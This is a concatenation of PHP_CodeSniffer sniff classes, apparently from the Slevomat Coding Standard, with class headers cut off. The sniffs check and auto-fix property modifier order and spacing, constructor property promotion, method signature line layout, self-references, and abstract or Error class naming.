mofidiers $propertyPointer = TokenHelper::findNext($phpcsFile, [T_CLASS, T_FUNCTION, T_CONST, T_VARIABLE], $modifierPointer + 1); if ($propertyPointer === null || $tokens[$propertyPointer]['code'] !== T_VARIABLE) { return; } if (!PropertyHelper::isProperty($phpcsFile, $propertyPointer, $this->checkPromoted)) { return; } $firstModifierPointer = PropertyHelper::getStartPointer($phpcsFile, $propertyPointer); $this->checkModifiersOrder($phpcsFile, $propertyPointer, $firstModifierPointer, $modifierPointer); $this->checkSpacesBetweenModifiers($phpcsFile, $propertyPointer, $firstModifierPointer, $modifierPointer); $this->checkTypeHintSpacing($phpcsFile, $propertyPointer, $modifierPointer); } private function checkModifiersOrder(File $phpcsFile, int $propertyPointer, int $firstModifierPointer, int $lastModifierPointer): void { $modifiersPointers = TokenHelper::findNextAll( $phpcsFile, TokenHelper::PROPERTY_MODIFIERS_TOKEN_CODES, $firstModifierPointer, $lastModifierPointer + 1, ); if (count($modifiersPointers) < 2) { return; } $tokens = $phpcsFile->getTokens(); $modifiersGroups = $this->getNormalizedModifiersOrder(); $expectedModifiersPositions = []; foreach ($modifiersPointers as $modifierPointer) { $position = 0; for ($i = 0; $i < count($modifiersGroups); $i++) { $modifierPositionInGroup = array_search($tokens[$modifierPointer]['code'], $modifiersGroups[$i], true); if ($modifierPositionInGroup !== false) { $expectedModifiersPositions[$modifierPointer] = $position + $modifierPositionInGroup; continue 2; } $position += count($modifiersGroups[$i]); } // Modifier position is not defined so add it to the end $expectedModifiersPositions[$modifierPointer] = $position; } $error = false; for ($i = 1; $i < count($modifiersPointers); $i++) { for ($j = 0; $j < $i; $j++) { if ($expectedModifiersPositions[$modifiersPointers[$i]] < $expectedModifiersPositions[$modifiersPointers[$j]]) { $error = true; break; } } } if (!$error) { return; } $actualModifiers = array_map(static fn (int $modifierPointer): string => $tokens[$modifierPointer]['content'], $modifiersPointers); $actualModifiersFormatted = implode(' ', $actualModifiers); asort($expectedModifiersPositions); $expectedModifiers = array_map( static fn (int $modifierPointer): string => $tokens[$modifierPointer]['content'], array_keys($expectedModifiersPositions), ); $expectedModifiersFormatted = implode(' ', $expectedModifiers); $fix = $phpcsFile->addFixableError( sprintf( 'Incorrect order of modifiers "%s" of property %s, expected "%s".', $actualModifiersFormatted, $tokens[$propertyPointer]['content'], $expectedModifiersFormatted, ), $firstModifierPointer, self::CODE_INCORRECT_ORDER_OF_MODIFIERS, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::change($phpcsFile, $firstModifierPointer, $lastModifierPointer, $expectedModifiersFormatted); $phpcsFile->fixer->endChangeset(); } private function checkSpacesBetweenModifiers( File $phpcsFile, int $propertyPointer, int $firstModifierPointer, int $lastModifierPointer ): void { if (!$this->enableMultipleSpacesBetweenModifiersCheck) { return; } $modifiersPointers = TokenHelper::findNextAll( $phpcsFile, TokenHelper::PROPERTY_MODIFIERS_TOKEN_CODES, $firstModifierPointer, $lastModifierPointer + 1, ); if (count($modifiersPointers) < 2) { return; } $tokens = $phpcsFile->getTokens(); $error = false; for ($i = 0; $i < count($modifiersPointers) - 1; $i++) { $whitespace = TokenHelper::getContent($phpcsFile, $modifiersPointers[$i] + 1, $modifiersPointers[$i + 1] - 1); if ($whitespace !== ' ') { $error = true; break; } } if (!$error) { return; } $fix = $phpcsFile->addFixableError( sprintf('There must be exactly one space between modifiers of property %s.', $tokens[$propertyPointer]['content']), $firstModifierPointer, self::CODE_MULTIPLE_SPACES_BETWEEN_MODIFIERS, ); if (!$fix) { return; } $expectedModifiers = array_map( static fn (int $modifierPointer): string => $tokens[$modifierPointer]['content'], $modifiersPointers, ); $expectedModifiersFormatted = implode(' ', $expectedModifiers); $phpcsFile->fixer->beginChangeset(); FixerHelper::change($phpcsFile, $firstModifierPointer, $lastModifierPointer, $expectedModifiersFormatted); $phpcsFile->fixer->endChangeset(); } private function checkTypeHintSpacing(File $phpcsFile, int $propertyPointer, int $lastModifierPointer): void { $typeHintEndPointer = TokenHelper::findPrevious( $phpcsFile, TokenHelper::TYPE_HINT_TOKEN_CODES, $propertyPointer - 1, $lastModifierPointer, ); if ($typeHintEndPointer === null) { return; } $tokens = $phpcsFile->getTokens(); $typeHintStartPointer = TypeHintHelper::getStartPointer($phpcsFile, $typeHintEndPointer); $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $typeHintStartPointer - 1, $lastModifierPointer); $nullabilitySymbolPointer = $previousPointer !== null && $tokens[$previousPointer]['code'] === T_NULLABLE ? $previousPointer : null; $propertyName = $tokens[$propertyPointer]['content']; if ($tokens[$lastModifierPointer + 1]['code'] !== T_WHITESPACE) { $errorMessage = sprintf('There must be exactly one space before type hint nullability symbol of property %s.', $propertyName); $errorCode = self::CODE_NO_SPACE_BEFORE_NULLABILITY_SYMBOL; $fix = $phpcsFile->addFixableError($errorMessage, $typeHintEndPointer, $errorCode); if ($fix) { $phpcsFile->fixer->beginChangeset(); FixerHelper::add($phpcsFile, $lastModifierPointer, ' '); $phpcsFile->fixer->endChangeset(); } } elseif ($tokens[$lastModifierPointer + 1]['content'] !== ' ') { if ($nullabilitySymbolPointer !== null) { $errorMessage = sprintf( 'There must be exactly one space before type hint nullability symbol of property %s.', $propertyName, ); $errorCode = self::CODE_MULTIPLE_SPACES_BEFORE_NULLABILITY_SYMBOL; } else { $errorMessage = sprintf('There must be exactly one space before type hint of property %s.', $propertyName); $errorCode = self::CODE_MULTIPLE_SPACES_BEFORE_TYPE_HINT; } $fix = $phpcsFile->addFixableError($errorMessage, $lastModifierPointer, $errorCode); if ($fix) { $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $lastModifierPointer + 1, ' '); $phpcsFile->fixer->endChangeset(); } } if ($tokens[$typeHintEndPointer + 1]['code'] !== T_WHITESPACE) { $fix = $phpcsFile->addFixableError( sprintf('There must be exactly one space between type hint and property %s.', $propertyName), $typeHintEndPointer, self::CODE_NO_SPACE_BETWEEN_TYPE_HINT_AND_PROPERTY, ); if ($fix) { $phpcsFile->fixer->beginChangeset(); FixerHelper::add($phpcsFile, $typeHintEndPointer, ' '); $phpcsFile->fixer->endChangeset(); } } elseif ($tokens[$typeHintEndPointer + 1]['content'] !== ' ') { $fix = $phpcsFile->addFixableError( sprintf('There must be exactly one space between type hint and property %s.', $propertyName), $typeHintEndPointer, self::CODE_MULTIPLE_SPACES_BETWEEN_TYPE_HINT_AND_PROPERTY, ); if ($fix) { $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $typeHintEndPointer + 1, ' '); $phpcsFile->fixer->endChangeset(); } } if ($nullabilitySymbolPointer === null) { return; } if ($nullabilitySymbolPointer + 1 === $typeHintStartPointer) { return; } $fix = $phpcsFile->addFixableError( sprintf('There must be no whitespace between type hint nullability symbol and type hint of property %s.', $propertyName), $typeHintStartPointer, self::CODE_WHITESPACE_AFTER_NULLABILITY_SYMBOL, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $nullabilitySymbolPointer + 1, ''); $phpcsFile->fixer->endChangeset(); } /** * @return array> */ private function getNormalizedModifiersOrder(): array { if ($this->normalizedModifiersOrder === null) { $modifiersGroups = SniffSettingsHelper::normalizeArray($this->modifiersOrder); if ($modifiersGroups === []) { $modifiersGroups = [ 'final, abstract', 'var, public, public(set), protected, protected(set), private, private(set)', 'static, readonly', ]; } $this->normalizedModifiersOrder = []; $mapping = [ 'final' => T_FINAL, 'abstract' => T_ABSTRACT, 'var' => T_VAR, 'public' => T_PUBLIC, 'public(set)' => T_PUBLIC_SET, 'protected' => T_PROTECTED, 'protected(set)' => T_PROTECTED_SET, 'private' => T_PRIVATE, 'private(set)' => T_PRIVATE_SET, 'static' => T_STATIC, 'readonly' => T_READONLY, ]; foreach ($modifiersGroups as $modifiersGroupNo => $modifiersGroup) { $this->normalizedModifiersOrder[$modifiersGroupNo] = []; /** @var list $modifiers */ $modifiers = preg_split('~\\s*,\\s*~', strtolower($modifiersGroup)); foreach ($modifiers as $modifier) { if (!array_key_exists($modifier, $mapping)) { throw new UnexpectedValueException(sprintf('Unknown property modifier "%s".', $modifier)); } $this->normalizedModifiersOrder[$modifiersGroupNo][] = $mapping[$modifier]; } } } return $this->normalizedModifiersOrder; } } */ public function register(): array { return TokenHelper::PROPERTY_MODIFIERS_TOKEN_CODES; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $pointer */ public function process(File $phpcsFile, $pointer): int { $tokens = $phpcsFile->getTokens(); $asPointer = TokenHelper::findPreviousEffective($phpcsFile, $pointer - 1); if ($tokens[$asPointer]['code'] === T_AS) { return $pointer; } $nextPointer = TokenHelper::findNextEffective($phpcsFile, $pointer + 1); if (in_array($tokens[$nextPointer]['code'], TokenHelper::PROPERTY_MODIFIERS_TOKEN_CODES, true)) { // We don't want to report the same property multiple times return $nextPointer; } // Ignore other class members with same mofidiers $propertyPointer = TokenHelper::findNext($phpcsFile, [T_VARIABLE, T_FUNCTION, T_CONST, T_CLASS], $pointer + 1); if ( $propertyPointer === null || $tokens[$propertyPointer]['code'] !== T_VARIABLE || !PropertyHelper::isProperty($phpcsFile, $propertyPointer) ) { return $propertyPointer ?? $pointer; } return parent::process($phpcsFile, $propertyPointer); } protected function isNextMemberValid(File $phpcsFile, int $pointer): bool { $nextPointer = TokenHelper::findNext($phpcsFile, [T_FUNCTION, T_VARIABLE], $pointer + 1); return $nextPointer !== null && $phpcsFile->getTokens()[$nextPointer]['code'] === T_VARIABLE; } protected function addError(File $phpcsFile, int $pointer, int $minExpectedLines, int $maxExpectedLines, int $found): bool { if ($minExpectedLines === $maxExpectedLines) { $errorMessage = $minExpectedLines === 1 ? 'Expected 1 blank line after property, found %3$d.' : 'Expected %2$d blank lines after property, found %3$d.'; } else { $errorMessage = 'Expected %1$d to %2$d blank lines after property, found %3$d.'; } $error = sprintf($errorMessage, $minExpectedLines, $maxExpectedLines, $found); return $phpcsFile->addFixableError($error, $pointer, self::CODE_INCORRECT_COUNT_OF_BLANK_LINES_AFTER_PROPERTY); } } */ public function register(): array { return [ T_CLASS, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $classPointer */ public function process(File $phpcsFile, $classPointer): void { $tokens = $phpcsFile->getTokens(); $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $classPointer - 1); if ($tokens[$previousPointer]['code'] === T_READONLY) { $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $previousPointer - 1); } if (in_array($tokens[$previousPointer]['code'], [T_ABSTRACT, T_FINAL], true)) { return; } $fix = $phpcsFile->addFixableError( 'All classes should be declared using either the "abstract" or "final" keyword.', $classPointer, self::CODE_NO_ABSTRACT_OR_FINAL, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::addBefore($phpcsFile, $classPointer, 'final '); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [T_FUNCTION]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $functionPointer */ public function process(File $phpcsFile, $functionPointer): void { $this->enable = SniffSettingsHelper::isEnabledByPhpVersion($this->enable, 80000); if (!$this->enable) { return; } $tokens = $phpcsFile->getTokens(); $namePointer = TokenHelper::findNextEffective($phpcsFile, $functionPointer + 1); if (strtolower($tokens[$namePointer]['content']) !== '__construct') { return; } if (FunctionHelper::isAbstract($phpcsFile, $functionPointer)) { return; } $parameterPointers = $this->getParameterPointers($phpcsFile, $functionPointer); if (count($parameterPointers) === 0) { return; } $parameterWithoutPromotionPointers = []; foreach ($parameterPointers as $parameterPointer) { $pointerBefore = TokenHelper::findPrevious($phpcsFile, [T_COMMA, T_OPEN_PARENTHESIS], $parameterPointer - 1); $modifierPointer = TokenHelper::findNextEffective($phpcsFile, $pointerBefore + 1); if (in_array($tokens[$modifierPointer]['code'], TokenHelper::PROPERTY_MODIFIERS_TOKEN_CODES, true)) { continue; } $pointerBefore = TokenHelper::findPreviousEffective($phpcsFile, $parameterPointer - 1); if ($tokens[$pointerBefore]['code'] === T_ELLIPSIS) { continue; } if ($tokens[$pointerBefore]['code'] === T_BITWISE_AND) { $pointerBefore = TokenHelper::findPreviousEffective($phpcsFile, $pointerBefore - 1); } if ($tokens[$pointerBefore]['code'] === T_CALLABLE) { continue; } $parameterWithoutPromotionPointers[] = $parameterPointer; } if (count($parameterWithoutPromotionPointers) === 0) { return; } /** @var int $classPointer */ $classPointer = FunctionHelper::findClassPointer($phpcsFile, $functionPointer); $propertyPointers = $this->getPropertyPointers($phpcsFile, $classPointer); if (count($propertyPointers) === 0) { return; } foreach ($parameterWithoutPromotionPointers as $parameterPointer) { $parameterName = $tokens[$parameterPointer]['content']; foreach ($propertyPointers as $propertyPointer) { $propertyName = $tokens[$propertyPointer]['content']; if ($parameterName !== $propertyName) { continue; } $propertyEndPointer = PropertyHelper::getEndPointer($phpcsFile, $propertyPointer); if ($tokens[$propertyEndPointer]['code'] === T_CLOSE_CURLY_BRACKET) { // Ignore property with hooks continue; } if ($this->isPropertyDocCommentUseful($phpcsFile, $propertyPointer)) { continue; } if ($this->isPropertyWithAttribute($phpcsFile, $propertyPointer)) { continue; } $propertyTypeHint = PropertyHelper::findTypeHint($phpcsFile, $propertyPointer); $parameterTypeHint = FunctionHelper::getParametersTypeHints($phpcsFile, $functionPointer)[$parameterName]; if (!$this->areTypeHintEqual($parameterTypeHint, $propertyTypeHint)) { continue; } $assignmentPointer = $this->getAssignment($phpcsFile, $functionPointer, $parameterName); if ($assignmentPointer === null) { continue; } if ($this->isParameterModifiedBeforeAssignment($phpcsFile, $functionPointer, $parameterName, $assignmentPointer)) { continue; } $fix = $phpcsFile->addFixableError( sprintf('Required promotion of property %s.', $propertyName), $propertyPointer, self::CODE_REQUIRED_CONSTRUCTOR_PROPERTY_PROMOTION, ); if (!$fix) { continue; } $propertyDocCommentOpenerPointer = DocCommentHelper::findDocCommentOpenPointer($phpcsFile, $propertyPointer); $pointerBeforeProperty = TokenHelper::findFirstTokenOnLine( $phpcsFile, $propertyDocCommentOpenerPointer ?? $propertyPointer, ); $propertyStartPointer = PropertyHelper::getStartPointer($phpcsFile, $propertyPointer); $propertyEndPointer = PropertyHelper::getEndPointer($phpcsFile, $propertyPointer); $modifiersPointers = TokenHelper::findNextAll( $phpcsFile, TokenHelper::PROPERTY_MODIFIERS_TOKEN_CODES, $propertyStartPointer, $propertyPointer, ); $modifiers = TokenHelper::getContent($phpcsFile, $modifiersPointers[0], $modifiersPointers[count($modifiersPointers) - 1]); $propertyEqualPointer = TokenHelper::findNext($phpcsFile, T_EQUAL, $propertyPointer + 1, $propertyEndPointer); $propertyDefaultValue = $propertyEqualPointer !== null ? trim(TokenHelper::getContent($phpcsFile, $propertyEqualPointer + 1, $propertyEndPointer - 1)) : null; $propertyEndPointer = TokenHelper::findNext($phpcsFile, T_SEMICOLON, $propertyPointer + 1); $pointerAfterProperty = TokenHelper::findFirstTokenOnLine( $phpcsFile, TokenHelper::findNextNonWhitespace($phpcsFile, $propertyEndPointer + 1), ); $pointerBeforeParameterStart = TokenHelper::findPrevious( $phpcsFile, [T_COMMA, T_OPEN_PARENTHESIS, T_ATTRIBUTE_END], $parameterPointer - 1, ); $parameterStartPointer = TokenHelper::findNextEffective($phpcsFile, $pointerBeforeParameterStart + 1); $parameterEqualPointer = TokenHelper::findNextEffective($phpcsFile, $parameterPointer + 1); $parameterHasDefaultValue = $tokens[$parameterEqualPointer]['code'] === T_EQUAL; $pointerBeforeAssignment = TokenHelper::findFirstTokenOnLine($phpcsFile, $assignmentPointer - 1); $pointerAfterAssignment = TokenHelper::findLastTokenOnLine($phpcsFile, $assignmentPointer); $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $pointerBeforeProperty, $pointerAfterProperty - 1); FixerHelper::addBefore($phpcsFile, $parameterStartPointer, sprintf('%s ', $modifiers)); if (!$parameterHasDefaultValue && $propertyDefaultValue !== null) { FixerHelper::add( $phpcsFile, $parameterPointer, sprintf(' = %s', $propertyDefaultValue), ); } FixerHelper::removeBetweenIncluding($phpcsFile, $pointerBeforeAssignment, $pointerAfterAssignment); $phpcsFile->fixer->endChangeset(); } } } private function getAssignment(File $phpcsFile, int $constructorPointer, string $parameterName): ?int { $tokens = $phpcsFile->getTokens(); $parameterNameWithoutDollar = substr($parameterName, 1); for ($i = $tokens[$constructorPointer]['scope_opener'] + 1; $i < $tokens[$constructorPointer]['scope_closer']; $i++) { if ($tokens[$i]['content'] !== '$this') { continue; } $objectOperatorPointer = TokenHelper::findNextEffective($phpcsFile, $i + 1); if ($tokens[$objectOperatorPointer]['code'] !== T_OBJECT_OPERATOR) { continue; } $namePointer = TokenHelper::findNextEffective($phpcsFile, $objectOperatorPointer + 1); if ($tokens[$namePointer]['content'] !== $parameterNameWithoutDollar) { continue; } $equalPointer = TokenHelper::findNextEffective($phpcsFile, $namePointer + 1); if ($tokens[$equalPointer]['code'] !== T_EQUAL) { continue; } $variablePointer = TokenHelper::findNextEffective($phpcsFile, $equalPointer + 1); if ($tokens[$variablePointer]['content'] !== $parameterName) { continue; } $semicolonPointer = TokenHelper::findNextEffective($phpcsFile, $variablePointer + 1); if ($tokens[$semicolonPointer]['code'] !== T_SEMICOLON) { continue; } foreach (array_reverse($tokens[$semicolonPointer]['conditions']) as $conditionTokenCode) { if (in_array($conditionTokenCode, [T_IF, T_ELSEIF, T_ELSE, T_SWITCH], true)) { return null; } } return $i; } return null; } /** * @return list */ private function getParameterPointers(File $phpcsFile, int $functionPointer): array { $tokens = $phpcsFile->getTokens(); return TokenHelper::findNextAll( $phpcsFile, T_VARIABLE, $tokens[$functionPointer]['parenthesis_opener'] + 1, $tokens[$functionPointer]['parenthesis_closer'], ); } /** * @return list */ private function getPropertyPointers(File $phpcsFile, int $classPointer): array { $tokens = $phpcsFile->getTokens(); return array_values(array_filter( TokenHelper::findNextAll( $phpcsFile, T_VARIABLE, $tokens[$classPointer]['scope_opener'] + 1, $tokens[$classPointer]['scope_closer'], ), static fn (int $variablePointer): bool => PropertyHelper::isProperty($phpcsFile, $variablePointer), )); } private function isPropertyDocCommentUseful(File $phpcsFile, int $propertyPointer): bool { if (DocCommentHelper::hasDocCommentDescription($phpcsFile, $propertyPointer)) { return true; } foreach (AnnotationHelper::getAnnotations($phpcsFile, $propertyPointer) as $annotation) { $annotationValue = $annotation->getValue(); if (!$annotationValue instanceof VarTagValueNode) { return true; } if ($annotationValue->description !== '') { return true; } } return false; } private function isPropertyWithAttribute(File $phpcsFile, int $propertyPointer): bool { $tokens = $phpcsFile->getTokens(); $previousPointer = TokenHelper::findPrevious( $phpcsFile, [T_ATTRIBUTE_END, T_SEMICOLON, T_OPEN_CURLY_BRACKET, T_CLOSE_CURLY_BRACKET], $propertyPointer - 1, ); return $tokens[$previousPointer]['code'] === T_ATTRIBUTE_END; } private function areTypeHintEqual(?TypeHint $parameterTypeHint, ?TypeHint $propertyTypeHint): bool { if ($parameterTypeHint === null && $propertyTypeHint === null) { return true; } if ($parameterTypeHint === null || $propertyTypeHint === null) { return false; } return $parameterTypeHint->getTypeHint() === $propertyTypeHint->getTypeHint(); } private function isParameterModifiedBeforeAssignment( File $phpcsFile, int $functionPointer, string $parameterName, int $assignmentPointer ): bool { $tokens = $phpcsFile->getTokens(); for ($i = $assignmentPointer - 1; $i > $tokens[$functionPointer]['scope_opener']; $i--) { if ($tokens[$i]['code'] !== T_VARIABLE) { continue; } if ($tokens[$i]['content'] !== $parameterName) { continue; } $nextPointer = TokenHelper::findNextEffective($phpcsFile, $i + 1); if (in_array($tokens[$nextPointer]['code'], Tokens::$assignmentTokens, true)) { return true; } if ($tokens[$nextPointer]['code'] === T_INC) { return true; } $previousPointer = TokenHelper::findNextEffective($phpcsFile, $i - 1); if ($tokens[$previousPointer]['code'] === T_DEC) { return true; } } return false; } } */ public array $includedMethodPatterns = []; /** @var list|null */ public ?array $includedMethodNormalizedPatterns = null; /** @var list */ public array $excludedMethodPatterns = []; /** @var list|null */ public ?array $excludedMethodNormalizedPatterns = null; /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $methodPointer */ public function process(File $phpcsFile, $methodPointer): void { $this->minLineLength = SniffSettingsHelper::normalizeNullableInteger($this->minLineLength); $this->minParametersCount = SniffSettingsHelper::normalizeNullableInteger($this->minParametersCount); if ($this->minLineLength !== null && $this->minParametersCount !== null) { throw new UnexpectedValueException('Either minLineLength or minParametersCount can be set.'); } // Maintain backward compatibility if no configuration provided if ($this->minLineLength === null && $this->minParametersCount === null) { $this->minLineLength = self::DEFAULT_MIN_LINE_LENGTH; } if (!FunctionHelper::isMethod($phpcsFile, $methodPointer)) { return; } $tokens = $phpcsFile->getTokens(); [$signatureStartPointer, $signatureEndPointer] = $this->getSignatureStartAndEndPointers($phpcsFile, $methodPointer); if ($tokens[$signatureStartPointer]['line'] < $tokens[$signatureEndPointer]['line']) { return; } $parameters = $phpcsFile->getMethodParameters($methodPointer); $parametersCount = count($parameters); if ($parametersCount === 0) { return; } $signature = $this->getSignature($phpcsFile, $signatureStartPointer, $signatureEndPointer); $methodName = FunctionHelper::getName($phpcsFile, $methodPointer); if ( count($this->includedMethodPatterns) !== 0 && !$this->isMethodNameInPatterns($methodName, $this->getIncludedMethodNormalizedPatterns()) ) { return; } if ( count($this->excludedMethodPatterns) !== 0 && $this->isMethodNameInPatterns($methodName, $this->getExcludedMethodNormalizedPatterns()) ) { return; } $splitPromotedProperties = false; if ($this->withPromotedProperties) { foreach ($parameters as $parameter) { if (isset($parameter['property_visibility'])) { $splitPromotedProperties = true; break; } } } if (!$splitPromotedProperties) { if ($this->minLineLength !== null && $this->minLineLength !== 0 && strlen($signature) < $this->minLineLength) { return; } if ($this->minParametersCount !== null && $parametersCount < $this->minParametersCount) { return; } } $error = sprintf('Signature of method "%s" should be split to more lines so each parameter is on its own line.', $methodName); $fix = $phpcsFile->addFixableError($error, $methodPointer, self::CODE_REQUIRED_MULTI_LINE_SIGNATURE); if (!$fix) { return; } $indentation = $tokens[$signatureStartPointer]['content']; $phpcsFile->fixer->beginChangeset(); foreach ($parameters as $parameter) { $pointerBeforeParameter = TokenHelper::findPrevious( $phpcsFile, T_COMMA, $parameter['token'] - 1, $tokens[$methodPointer]['parenthesis_opener'], ); $pointerBeforeParameter ??= $tokens[$methodPointer]['parenthesis_opener']; FixerHelper::add( $phpcsFile, $pointerBeforeParameter, $phpcsFile->eolChar . IndentationHelper::addIndentation($phpcsFile, $indentation), ); FixerHelper::removeWhitespaceAfter($phpcsFile, $pointerBeforeParameter); } FixerHelper::addBefore($phpcsFile, $tokens[$methodPointer]['parenthesis_closer'], $phpcsFile->eolChar . $indentation); $phpcsFile->fixer->endChangeset(); } /** * @param list $normalizedPatterns */ private function isMethodNameInPatterns(string $methodName, array $normalizedPatterns): bool { foreach ($normalizedPatterns as $pattern) { if (!SniffSettingsHelper::isValidRegularExpression($pattern)) { throw new Exception(sprintf('%s is not valid PCRE pattern.', $pattern)); } if (preg_match($pattern, $methodName) !== 0) { return true; } } return false; } /** * @return list */ private function getIncludedMethodNormalizedPatterns(): array { $this->includedMethodNormalizedPatterns ??= SniffSettingsHelper::normalizeArray($this->includedMethodPatterns); return $this->includedMethodNormalizedPatterns; } /** * @return list */ private function getExcludedMethodNormalizedPatterns(): array { $this->excludedMethodNormalizedPatterns ??= SniffSettingsHelper::normalizeArray($this->excludedMethodPatterns); return $this->excludedMethodNormalizedPatterns; } } */ public function register(): array { return [ T_OPEN_TAG, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $openTagPointer */ public function process(File $phpcsFile, $openTagPointer): void { if (TokenHelper::findPrevious($phpcsFile, T_OPEN_TAG, $openTagPointer - 1) !== null) { return; } $tokens = $phpcsFile->getTokens(); $referencedNames = array_merge( ReferencedNameHelper::getAllReferencedNames($phpcsFile, $openTagPointer), ReferencedNameHelper::getAllReferencedNamesInAttributes($phpcsFile, $openTagPointer), ); foreach ($referencedNames as $referencedName) { if (!$referencedName->isClass()) { continue; } $anonymousClassPointer = TokenHelper::findPrevious($phpcsFile, T_ANON_CLASS, $referencedName->getStartPointer() - 1); if ( $anonymousClassPointer !== null && $tokens[$anonymousClassPointer]['scope_closer'] > $referencedName->getEndPointer() ) { continue; } $classPointer = ClassHelper::getClassPointer($phpcsFile, $referencedName->getStartPointer()); if ($classPointer === null) { continue; } $className = ClassHelper::getFullyQualifiedName($phpcsFile, $classPointer); $resolvedName = NamespaceHelper::resolveClassName( $phpcsFile, $referencedName->getNameAsReferencedInFile(), $referencedName->getStartPointer(), ); if ($className !== $resolvedName) { continue; } $fix = $phpcsFile->addFixableError( '"self" for local reference is required.', $referencedName->getStartPointer(), self::CODE_REQUIRED_SELF_REFERENCE, ); if (!$fix) { continue; } $inAttribute = $tokens[$referencedName->getStartPointer()]['code'] === T_ATTRIBUTE; $phpcsFile->fixer->beginChangeset(); if ($inAttribute) { $attributeContent = TokenHelper::getContent( $phpcsFile, $referencedName->getStartPointer(), $referencedName->getEndPointer(), ); $fixedAttributeContent = preg_replace( '~(?<=\W)' . preg_quote($referencedName->getNameAsReferencedInFile(), '~') . '(?=\W)~', 'self', $attributeContent, ); FixerHelper::replace( $phpcsFile, $referencedName->getStartPointer(), $fixedAttributeContent, ); } else { FixerHelper::replace($phpcsFile, $referencedName->getStartPointer(), 'self'); } FixerHelper::removeBetweenIncluding($phpcsFile, $referencedName->getStartPointer() + 1, $referencedName->getEndPointer()); $phpcsFile->fixer->endChangeset(); } } } */ public array $includedMethodPatterns = []; /** @var list|null */ public ?array $includedMethodNormalizedPatterns = null; /** @var list */ public array $excludedMethodPatterns = []; /** @var list|null */ public ?array $excludedMethodNormalizedPatterns = null; /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $methodPointer */ public function process(File $phpcsFile, $methodPointer): void { $this->maxLineLength = SniffSettingsHelper::normalizeInteger($this->maxLineLength); if (!FunctionHelper::isMethod($phpcsFile, $methodPointer)) { return; } $tokens = $phpcsFile->getTokens(); [$signatureStartPointer, $signatureEndPointer] = $this->getSignatureStartAndEndPointers($phpcsFile, $methodPointer); if ($tokens[$signatureStartPointer]['line'] === $tokens[$signatureEndPointer]['line']) { return; } $signature = $this->getSignature($phpcsFile, $signatureStartPointer, $signatureEndPointer); $methodName = FunctionHelper::getName($phpcsFile, $methodPointer); if ( count($this->includedMethodPatterns) !== 0 && !$this->isMethodNameInPatterns($methodName, $this->getIncludedMethodNormalizedPatterns()) ) { return; } if ( count($this->excludedMethodPatterns) !== 0 && $this->isMethodNameInPatterns($methodName, $this->getExcludedMethodNormalizedPatterns()) ) { return; } if ($this->maxLineLength !== 0 && strlen($signature) > $this->maxLineLength) { return; } $error = sprintf('Signature of method "%s" should be placed on a single line.', $methodName); $fix = $phpcsFile->addFixableError($error, $methodPointer, self::CODE_REQUIRED_SINGLE_LINE_SIGNATURE); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::change($phpcsFile, $signatureStartPointer, $signatureEndPointer, $signature); $phpcsFile->fixer->endChangeset(); } /** * @param list $normalizedPatterns */ private function isMethodNameInPatterns(string $methodName, array $normalizedPatterns): bool { foreach ($normalizedPatterns as $pattern) { if (!SniffSettingsHelper::isValidRegularExpression($pattern)) { throw new Exception(sprintf('%s is not valid PCRE pattern.', $pattern)); } if (preg_match($pattern, $methodName) !== 0) { return true; } } return false; } /** * @return list */ private function getIncludedMethodNormalizedPatterns(): array { $this->includedMethodNormalizedPatterns ??= SniffSettingsHelper::normalizeArray($this->includedMethodPatterns); return $this->includedMethodNormalizedPatterns; } /** * @return list */ private function getExcludedMethodNormalizedPatterns(): array { $this->excludedMethodNormalizedPatterns ??= SniffSettingsHelper::normalizeArray($this->excludedMethodPatterns); return $this->excludedMethodNormalizedPatterns; } } */ public function register(): array { return [ T_CLASS, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $classPointer */ public function process(File $phpcsFile, $classPointer): void { $className = ClassHelper::getName($phpcsFile, $classPointer); $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $classPointer - 1); if ($phpcsFile->getTokens()[$previousPointer]['code'] !== T_ABSTRACT) { return; } $this->checkPrefix($phpcsFile, $classPointer, $className); $this->checkSuffix($phpcsFile, $classPointer, $className); } private function checkPrefix(File $phpcsFile, int $classPointer, string $className): void { $prefix = substr($className, 0, 8); if (strtolower($prefix) !== 'abstract') { return; } $phpcsFile->addError(sprintf('Superfluous prefix "%s".', $prefix), $classPointer, self::CODE_SUPERFLUOUS_PREFIX); } private function checkSuffix(File $phpcsFile, int $classPointer, string $className): void { $suffix = substr($className, -8); if (strtolower($suffix) !== 'abstract') { return; } $phpcsFile->addError(sprintf('Superfluous suffix "%s".', $suffix), $classPointer, self::CODE_SUPERFLUOUS_SUFFIX); } } */ public function register(): array { return [ T_CLASS, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $classPointer */ public function process(File $phpcsFile, $classPointer): void { $className = ClassHelper::getName($phpcsFile, $classPointer); $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $classPointer - 1); if ($phpcsFile->getTokens()[$previousPointer]['code'] === T_ABSTRACT) { return; } if (strtolower($className) === 'error') { return; } $suffix = substr($className, -5); if (strtolower($suffix) !== 'error') { return; } 